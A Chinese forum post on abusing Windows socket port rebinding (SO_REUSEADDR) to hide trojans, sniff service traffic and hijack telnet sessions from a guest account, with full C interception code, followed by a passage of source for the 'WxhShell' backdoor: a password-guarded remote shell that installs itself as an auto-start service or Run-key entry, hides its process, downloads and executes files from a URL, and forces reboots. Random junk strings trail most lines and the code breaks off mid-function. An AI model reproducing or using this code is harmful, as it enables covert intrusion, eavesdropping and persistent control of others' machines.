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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: jB!p,fqcb  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5,})x]'x  
f 5"1WtB  
  saddr.sin_family = AF_INET; rCGXHbj%  
$~!%Px)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); R2vT\ 6xv  
BCYTlxC'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %i{Z@  
U<gM gA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #(F/P!qk  
JS <S?j?*/  
  这意味着什么?意味着可以进行如下的攻击: t'|A0r$  
dIg/g~ t"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m_zl*s*6  
.T 6 NMIp*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =e](eA;  
h:-ZXIv?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &a5UQ>  
O;z:?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  T$%r?p(s  
n^B9Mh @  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3}(6z"r  
1)pwR3(^Fz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 r&oR|-2hRk  
.A<G$ db ?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /2l&D~d"  
Z8E-(@`q5Q  
  #include WHeyE3}p  
  #include CuC1s>  
  #include `qnp   
  #include    G d~ v _  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %c"PMTq(  
  int main() 7rQwn2XD{  
  { Swz{5 J2C  
  WORD wVersionRequested; 0b6jGa  
  DWORD ret; G2qv)7{l2  
  WSADATA wsaData; O42`Z9oK  
  BOOL val; ">cLPXX  
  SOCKADDR_IN saddr; H xs'VK*  
  SOCKADDR_IN scaddr; U;`C%vHff  
  int err; J|,Uu^7`  
  SOCKET s; V[ju7\>$Z  
  SOCKET sc; 86Hg?!<i.  
  int caddsize; .a2b&}/.d  
  HANDLE mt; ( m/uj z  
  DWORD tid;   :B{Wf 2<z  
  wVersionRequested = MAKEWORD( 2, 2 ); `NYu|:JK:  
  err = WSAStartup( wVersionRequested, &wsaData ); "@^Pb$BLY  
  if ( err != 0 ) { %]7'2  
  printf("error!WSAStartup failed!\n"); )Tjh  
  return -1; @W}cM  
  } Q2yD4>qy  
  saddr.sin_family = AF_INET; eyW8?:  
   &H8wYs  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [As9&]Bv5  
F-AU'o *  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); scX'>\w&c  
  saddr.sin_port = htons(23); #lAC:>s3U  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uN>JX/-  
  { oCfO:7  
  printf("error!socket failed!\n"); GT.1,E ,Vw  
  return -1; 6&| hpp#[  
  } Y`F)UwKK  
  val = TRUE; $B%wK`J  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }Q $}LR@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q9Zp8&<EqH  
  { T_R2BBT v  
  printf("error!setsockopt failed!\n"); F!7dGa$  
  return -1; `eZzYe(N  
  } Y TpiOPf  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; PAng(tubl  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8tfM,.]_i  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 '41'Gn  
.3 >"qv  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |w5m2Z  
  { S[ch/  
  ret=GetLastError(); n*A?>NV  
  printf("error!bind failed!\n"); 37apOK4+  
  return -1; #($~e|  
  } r{ >Q{$Q  
  listen(s,2); UE9RrfdN  
  while(1) W(pq_H'  
  { .~$!BWP  
  caddsize = sizeof(scaddr); {p\ll  
  //接受连接请求 e"oTlB  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /H4Z.|@  
  if(sc!=INVALID_SOCKET) .RNY}bbk  
  { E7'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); '0-YFx'U0V  
  if(mt==NULL) \SSHjONX  
  { +*RaX (&  
  printf("Thread Creat Failed!\n"); mR|L'[l  
  break; >$$z6A[  
  } CbGfVdw/c  
  } j,n\`7dD$  
  CloseHandle(mt); [)+wke9  
  } o6tPQ (Vi  
  closesocket(s); 9xi nX-x;n  
  WSACleanup(); 5P Zzaz<  
  return 0; E5aRTDLq  
  }   K;z$~;F  
  DWORD WINAPI ClientThread(LPVOID lpParam) b5Q|$E   
  { hrNB"W|?x  
  SOCKET ss = (SOCKET)lpParam; GYZP?E p*  
  SOCKET sc; rp9?p%  
  unsigned char buf[4096]; {N3&JL5\"E  
  SOCKADDR_IN saddr; g.Tc>?~  
  long num; |\zzOfaO  
  DWORD val; zu3Fi = |0  
  DWORD ret; H )51J:4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Y5CDdn  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   XGuxd  
  saddr.sin_family = AF_INET; +0}z3T1L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SR$ 'JGfp  
  saddr.sin_port = htons(23); p}oGhO&=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /4*Y#IpZ  
  { 2FR+Z3&z  
  printf("error!socket failed!\n"); "(r%`.l=I  
  return -1; u,V_j|(e  
  } _tUh*"e&  
  val = 100; V&*|%,q   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {xAd>fGG+y  
  { vPz$+&{I  
  ret = GetLastError(); y\omJx=,  
  return -1; e2e!"kEF  
  } oXjoQ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9X?RJ."J  
  { +4$][3.  
  ret = GetLastError(); @XJ#oxM^  
  return -1; ?K+q~DzNSD  
  } ~NZL~p  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;j.-6#n  
  { @9eN\b%I^H  
  printf("error!socket connect failed!\n"); cYp/? \  
  closesocket(sc); l A%FS]vh  
  closesocket(ss); | C^.[)  
  return -1; Jz}`-fU`  
  } uNkJe  
  while(1) c]h@<wnv  
  { zYrJ Hn#vB  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 qA;Gl"HF  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 uu9IUqEq2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0-~s0R89A  
  num = recv(ss,buf,4096,0); =A!r ZG  
  if(num>0) )s,LFIy<A  
  send(sc,buf,num,0); Uks%Mo9on  
  else if(num==0) h%U}Y5Ps~  
  break; [GPCd@  
  num = recv(sc,buf,4096,0); /oW]? 9  
  if(num>0) &?1O D5  
  send(ss,buf,num,0); ^2H;  
  else if(num==0) 6DU~6c=)  
  break; _p>F43%p  
  } ,-hbwd~M  
  closesocket(ss); &r.M~k >  
  closesocket(sc); ; PncJe5x  
  return 0 ; 9dw* ++  
  } XUzOt_L5<  
p^|6 /b  
Jz=|-F(Sy  
========================================================== cnS;9=,&  
8\"Gs z  
下边附上一个代码,,WXhSHELL Y)DAR83  
}zks@7kf  
========================================================== @R}3f6@67  
|_ +#&x  
#include "stdafx.h" <#J5.I 1  
51JB,}dGH}  
#include <stdio.h> &8w# 4*W  
#include <string.h> JO*/UC>"  
#include <windows.h> 7nNNc[d*=  
#include <winsock2.h> CIz0Gjtx6m  
#include <winsvc.h> e pp04~  
#include <urlmon.h> lP*n%Pn)  
m";..V  
#pragma comment (lib, "Ws2_32.lib") :_y!p  
#pragma comment (lib, "urlmon.lib") aW*k,\:e  
O!%T<2i3  
#define MAX_USER   100 // 最大客户端连接数 rf-yUH]&S  
#define BUF_SOCK   200 // sock buffer #M{qMJHDo  
#define KEY_BUFF   255 // 输入 buffer ,#FP]$FK  
/!2`pv  
#define REBOOT     0   // 重启 H<[~V0=  
#define SHUTDOWN   1   // 关机 ]/kpEx  
i^e8.zgywF  
#define DEF_PORT   5000 // 监听端口 F|{uA/P{  
8q%y(e  
#define REG_LEN     16   // 注册表键长度 "!D y[J  
#define SVC_LEN     80   // NT服务名长度 F$(ak;v}  
r8@] |`j  
// 从dll定义API (ix.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O >pv/Ns  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^ZO! (  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Nf^<pT [*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a/\{NHs6"5  
}^iqhUvT F  
// wxhshell配置信息 RYA@{.O  
struct WSCFG { !b7"K|  
  int ws_port;         // 监听端口 }dop]{RG  
  char ws_passstr[REG_LEN]; // 口令 Y*$>d/E  
  int ws_autoins;       // 安装标记, 1=yes 0=no I-Z|FKh_C  
  char ws_regname[REG_LEN]; // 注册表键名 R2n 2mQ<  
  char ws_svcname[REG_LEN]; // 服务名 k'PvTWR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /ZD6pF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (bQ3:%nD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &}[P{53sr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;RJ 8h x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @`dg:P*[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >xabn*Kq  
3PGAUQR#"q  
}; ')!X1A{  
Oo@o$\+v  
// default Wxhshell configuration ^e_LnJ+  
struct WSCFG wscfg={DEF_PORT, chKK9SC+|  
    "xuhuanlingzhe", n'v\2(&uYN  
    1, /$CTz xd1  
    "Wxhshell", RzjUrt  
    "Wxhshell", l>}f{az-T  
            "WxhShell Service", \$ipnQv  
    "Wrsky Windows CmdShell Service", t$z[ ja=  
    "Please Input Your Password: ", 5\MC5us3  
  1, vo`&  
  "http://www.wrsky.com/wxhshell.exe", O`c50yY  
  "Wxhshell.exe" q6)fP4MQ]  
    }; kFwFPK%B  
6ki2/ Q  
// 消息定义模块 @]vY[O!&;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EM*I%|n@m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >i,_qe?V:w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1*9.K'  
char *msg_ws_ext="\n\rExit."; 4_kN';a4Q  
char *msg_ws_end="\n\rQuit."; tLWw< )t  
char *msg_ws_boot="\n\rReboot..."; N=BG0t$  
char *msg_ws_poff="\n\rShutdown..."; bO2?DszT5  
char *msg_ws_down="\n\rSave to "; *$g!/,  
Z;Hkx1  
char *msg_ws_err="\n\rErr!"; +q}t%K5  
char *msg_ws_ok="\n\rOK!"; <;S$4tux  
![^pAEgx  
char ExeFile[MAX_PATH]; IgG[Pr'D  
int nUser = 0; bsF_.S*k@  
HANDLE handles[MAX_USER]; 7bzm5w@v  
int OsIsNt; qU7_%Z  
iCF},W+  
SERVICE_STATUS       serviceStatus; ^sD M>OHp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -3R:~z^L  
![\-J$  
// 函数声明 N! 7}B  
int Install(void); = 'NV3by  
int Uninstall(void); hr}f5Z)^v  
int DownloadFile(char *sURL, SOCKET wsh); ^;RK-)  
int Boot(int flag); [|OII!"  
void HideProc(void); P[ WkW#  
int GetOsVer(void); HCs^?s8Pp  
int Wxhshell(SOCKET wsl); gHLI>ew*QR  
void TalkWithClient(void *cs); JP5e=Z<  
int CmdShell(SOCKET sock); ^PTf8o  
int StartFromService(void); Bi:lC5d5?  
int StartWxhshell(LPSTR lpCmdLine); din,yHu~  
Bzrnmz5S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :J`@@H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Wr%ov6:  
E7fQ9]  
// 数据结构和表定义 t1adS:)s  
SERVICE_TABLE_ENTRY DispatchTable[] = e4tIO   
{ LigB!M  
{wscfg.ws_svcname, NTServiceMain}, ?`piie9V  
{NULL, NULL} YpDJ(61+  
}; z6iKIw $  
aDK b78 1d  
// 自我安装 </{Zb.  
int Install(void) +7 H)s  
{ [j+:2@  
  char svExeFile[MAX_PATH]; 1IA1;  
  HKEY key; :3n@].  
  strcpy(svExeFile,ExeFile); JcR|{9ghT  
xmv %O&0^}  
// 如果是win9x系统,修改注册表设为自启动 LpU}.  
if(!OsIsNt) { V:kRr cX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .J)TIc__|A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tk%f_"}  
  RegCloseKey(key); X ."z+-eh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m}uOBR+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bV8+E u  
  RegCloseKey(key); B`B =bn+4  
  return 0; \v Ajg  
    } R@\}iyM  
  }  l(?B0  
} _]`7et\=  
else { @.e X8~3=  
>ou= }/<  
// 如果是NT以上系统,安装为系统服务 < '5~p$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HY)xT$/J  
if (schSCManager!=0) y&zFS4"x  
{ ,-#MEr  
  SC_HANDLE schService = CreateService mVZh_R=a  
  ( 'QCIKCn<  
  schSCManager, W`;;fJe  
  wscfg.ws_svcname, 6h;(b2p{  
  wscfg.ws_svcdisp, t)zd'[  
  SERVICE_ALL_ACCESS, DXiA4ihr=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~T1W-ig4[*  
  SERVICE_AUTO_START, +.V+@!  
  SERVICE_ERROR_NORMAL, 9(N  
  svExeFile, d. wGO]"  
  NULL, Tc6cBe,  
  NULL, IL].!9  
  NULL, Z+El(f x  
  NULL, h<G4tjtk  
  NULL {]HiTpn  
  ); _ Op%H)  
  if (schService!=0) JI "/,fK^  
  { NKO"'   
  CloseServiceHandle(schService); }`"}eN @,  
  CloseServiceHandle(schSCManager); /t0L%jJZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j<t3bM-G  
  strcat(svExeFile,wscfg.ws_svcname); :,l7e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a: "1LnvR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -+*h'zZ[<w  
  RegCloseKey(key); F^yW3|Sb  
  return 0; l_^OdQ9D  
    } 2LwJ%!  
  } ]@&X*~c^Z  
  CloseServiceHandle(schSCManager); h6h6B.\ Ld  
} Ei4^__g\'  
} <7^|@L 6  
ic2 D$`M  
return 1; u&:N`f  
} = l`)b  
y(COB6r  
// 自我卸载 Pd91<L  
int Uninstall(void) z#tIa  
{ {[H_Vl@  
  HKEY key; / FcRp,"  
9{u8fDm!  
if(!OsIsNt) { {*yvvb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U#3N90,N=  
  RegDeleteValue(key,wscfg.ws_regname); 9-42A7g^C  
  RegCloseKey(key); nGF +a[Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }_D.Hy5  
  RegDeleteValue(key,wscfg.ws_regname); g*V.u]U!i  
  RegCloseKey(key); fkxkf^g)  
  return 0; 1q}L O2  
  } >fBPVu\PA  
} OIblBQ!  
} tdm7MPM  
else { PtfG~$h?  
b RR N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UQl?_ [G  
if (schSCManager!=0) F!vrvlD`s  
{ ,h*gd^i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N*Aw-\Bk  
  if (schService!=0) AFAg3/  
  { 4=yzf  
  if(DeleteService(schService)!=0) { S#/BWNz|  
  CloseServiceHandle(schService); 8}'iEj^e  
  CloseServiceHandle(schSCManager); ';I}6N  
  return 0; hfwJZ\_60  
  } )CFJ Xc:  
  CloseServiceHandle(schService); f8Hq&_Pn   
  } ~apt, hl  
  CloseServiceHandle(schSCManager); b'z $S+  
} 6FB 0g8  
} *rq*li;  
|bnd92fvks  
return 1; z$1RD)TQB  
} fbq$:Q44  
ziM{2Fs>  
// 从指定url下载文件 6<&A}pp  
int DownloadFile(char *sURL, SOCKET wsh) Z0<Vss  
{ ,&o9\|ih7]  
  HRESULT hr; k1B ](@xt  
char seps[]= "/"; !1$x4 qxS  
char *token; 7<j!qWm0  
char *file; #HcQ*BiF3  
char myURL[MAX_PATH]; ,P~e)<.  
char myFILE[MAX_PATH]; J}V4.R5d  
aq?bI:>8  
strcpy(myURL,sURL); 9)!Ks g(h  
  token=strtok(myURL,seps); AwJg/VBo)  
  while(token!=NULL) xQFRM aQE  
  { 5{! fa  
    file=token; iJTG +gx  
  token=strtok(NULL,seps); 4E''pW]8  
  } L=<xTbY  
Thggas,  
GetCurrentDirectory(MAX_PATH,myFILE); %xgP*%Sv2  
strcat(myFILE, "\\"); QV[&2&&^<<  
strcat(myFILE, file); yX&# rI  
  send(wsh,myFILE,strlen(myFILE),0); mI lg=8:  
send(wsh,"...",3,0); LK h=jB^bT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ktU:Uq  
  if(hr==S_OK) ) 57'<  
return 0; x^y$pr  
else khX/xL  
return 1; uz3cho'  
0}i 9`p  
} lU1SN/'zx  
e@hPb$7  
// 系统电源模块 :DH@zR  
int Boot(int flag) `gl?y;xC  
{ yCjc5d|tT  
  HANDLE hToken;  <$nPGz)}  
  TOKEN_PRIVILEGES tkp; Q=Q+*oog  
d!I%AlV  
  if(OsIsNt) { `q}D#0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LW=qX%o{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =9&2udV1  
    tkp.PrivilegeCount = 1; nDkG}Jk B!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (Q{JI~P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e{8C0=  
if(flag==REBOOT) {  V FM[-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?c.\\2>|F  
  return 0; o#FctM'Z  
} #hBqgG:>  
else { #c|l|Xvq2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LNL}R[1(  
  return 0;  *RY}e  
} g!0 j1  
  } m0G"Aj  
  else { xbiprhdv  
if(flag==REBOOT) { ?"b __(3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wGO-Z']i  
  return 0; v8-szW).  
} UB@(r86 d  
else { J.~@j;[2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }Z <I%GT  
  return 0; 1^k}GXsWmE  
} >D=X Tgqqq  
} T#&1q]P1F  
i%yKyfD  
return 1; +HE,Q6-A  
} Pr>$m{ Z  
m#h`iW  
// win9x进程隐藏模块 $I5|rB/4?  
void HideProc(void) &Hw:65O  
{ Qz`evvH  
q`AsnAzo&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $;g*s?F*  
  if ( hKernel != NULL ) ceg\lE:8  
  { lR?1,yLp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  WDNj 7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f TmJDUv+  
    FreeLibrary(hKernel); 3@F U-k,i  
  } f?.}S] u5  
 5+GTK)D  
return; @!$xSH  
} 2-S}#S}2C  
#8d#Jw  
// 获取操作系统版本 S> Fb'rJ3  
int GetOsVer(void) IlEU6Rs  
{ [<+T@"y  
  OSVERSIONINFO winfo; Q*1Avy6]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); li3X}  
  GetVersionEx(&winfo); (fc_V[(m"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) UHJro9  
  return 1; Vb 36R _u  
  else 65B&>`H~  
  return 0; Ds=d~sNu  
} w[2E:Nj  
1sUgjyGQ  
// 客户端句柄模块 E2hML  
int Wxhshell(SOCKET wsl) V^(W)\  
{ 5P*jGOg.  
  SOCKET wsh; 319 4]  
  struct sockaddr_in client; QP%AJ[3ea%  
  DWORD myID; .9DhD=8aIO  
P'}EZ'  
  while(nUser<MAX_USER) JNU9RxR  
{ u}'m7|)8  
  int nSize=sizeof(client); d3oRan}z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )m-(-I  
  if(wsh==INVALID_SOCKET) return 1; Z){fie4WM  
iLdUus!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g9GPy U  
if(handles[nUser]==0) =j_4!^  
  closesocket(wsh); RCkmxO;b&  
else m[ S1  
  nUser++; c7rC!v  
  } +o.#']}Pl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0>,i] |Y  
j;Z hI y  
  return 0; n~,6!S  
} h\C1:0x{  
jxK `ShW=  
// 关闭 socket HELTL$j,b  
void CloseIt(SOCKET wsh) be6`Sv"H  
{ $7-4pW$y  
closesocket(wsh); vSQB~Vw8 t  
nUser--; $jC+oYXj  
ExitThread(0); D<Z\6)|%I  
} #,j m3M qj  
sI)jqHZG  
// 客户端请求句柄 #;2kN &  
void TalkWithClient(void *cs) <Rt0 V%}-  
{ ziAn9/sT  
P@etT8|V  
  SOCKET wsh=(SOCKET)cs; *eAt'  
  char pwd[SVC_LEN]; d.snD)X  
  char cmd[KEY_BUFF]; a/d8_(0  
char chr[1]; nQw, /L k  
int i,j; ylmVmHmc  
* se),CP!s  
  while (nUser < MAX_USER) { ~@^pX*%i  
OoOwEV2p_  
if(wscfg.ws_passstr) { <SRSJJR|(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3qfQlqJ&3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7n#Mh-vq  
  //ZeroMemory(pwd,KEY_BUFF); i piS=  
      i=0; i .?l\  
  while(i<SVC_LEN) { CwF=@:*d  
o>M&C X+j$  
  // 设置超时 `yXHb  
  fd_set FdRead; g C@=]Y  
  struct timeval TimeOut; 1 RyvPP  
  FD_ZERO(&FdRead); n%dh|j2u  
  FD_SET(wsh,&FdRead); (.M &nN'Ce  
  TimeOut.tv_sec=8; &'5 j!  
  TimeOut.tv_usec=0; }e1]Ib!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Oi!uJofW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^O5PcV3Eg  
()$tP3 o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w3Qil[rg  
  pwd=chr[0]; n\scOM)3  
  if(chr[0]==0xd || chr[0]==0xa) { XQ k ,xQ  
  pwd=0; B?XqH_=0L  
  break; BfvvJh_  
  } G{s q|1  
  i++; _'r&'s;<z  
    } xirZ.wjW  
M-f; ,>  
  // 如果是非法用户,关闭 socket x8rp Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5DeAH ;  
} mVyF M -`  
_`]YWvh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^^*dHWHn<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sr$JFMTO11  
W GMEZx  
while(1) { ADZU?7)  
w#$Q?u ,G  
  ZeroMemory(cmd,KEY_BUFF); = :\o/)+  
6c#1Do(W+  
      // 自动支持客户端 telnet标准   SQBe}FlktK  
  j=0; 9r,7>#IF  
  while(j<KEY_BUFF) { oGZ%w4T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lGN{1djT  
  cmd[j]=chr[0]; GA)t!Xg^  
  if(chr[0]==0xa || chr[0]==0xd) { }W"/h)q  
  cmd[j]=0; .GDNd6[K7  
  break; (^Hpe5h&  
  } r7:4| 6E  
  j++; xcl8q:  
    } TqXB2`7Ri  
t'Pn*  
  // 下载文件 .37Jrh0Iv  
  if(strstr(cmd,"http://")) { zC\L-i>G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !.5,RIf  
  if(DownloadFile(cmd,wsh)) 4T:@W C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e/!xyd  
  else _"c?[n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PeB7Q=d)K1  
  } ER$qL"H U  
  else { Xkb\fR6<K  
O9[Dae{i  
    switch(cmd[0]) { ZC:7N{a  
  h}jE=T5Hc  
  // 帮助 kC-OZVoO  
  case '?': { >a2i%j/T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Sy`7})[  
    break; CrI:TB>/ "  
  } },G5!3  
  // 安装 iwnFCZVS  
  case 'i': { rXu^]CK *G  
    if(Install()) .~dNzonq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;JQ;LbEn  
    else ]eZrb%B .  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R<x~KJ11c  
    break; z 7g=L@   
    } =?g B@vS  
  // 卸载 OB5`a,5dI  
  case 'r': { > hmBV7nR  
    if(Uninstall()) %oE3q>S$en  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S+&Bf ~~D  
    else "_T8Km008  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DF!*S{)  
    break; 0_faJjTbP;  
    } <mdHca  
  // 显示 wxhshell 所在路径 :NPnwX8w  
  case 'p': { E#m|Sq  
    char svExeFile[MAX_PATH]; RW04>oxVn  
    strcpy(svExeFile,"\n\r"); wm/=]*jpK  
      strcat(svExeFile,ExeFile); h"DxgG  
        send(wsh,svExeFile,strlen(svExeFile),0); 1x~dsM;q  
    break; a6i%7Om  
    } <^8&2wAkJ  
  // 重启 GY,HEe]2r  
  case 'b': { &!5S'J %  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sr?2~R0&  
    if(Boot(REBOOT)) *Z,?VEO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NvqIYW  
    else { \_J;i[  
    closesocket(wsh); a8laP N  
    ExitThread(0); ~*Kk+w9H<  
    } ;HbAk`\1A  
    break; ^6(Nu|6\@  
    } @is!VzE  
  // 关机 TO~Z6NA0  
  case 'd': { >")<pUQ  
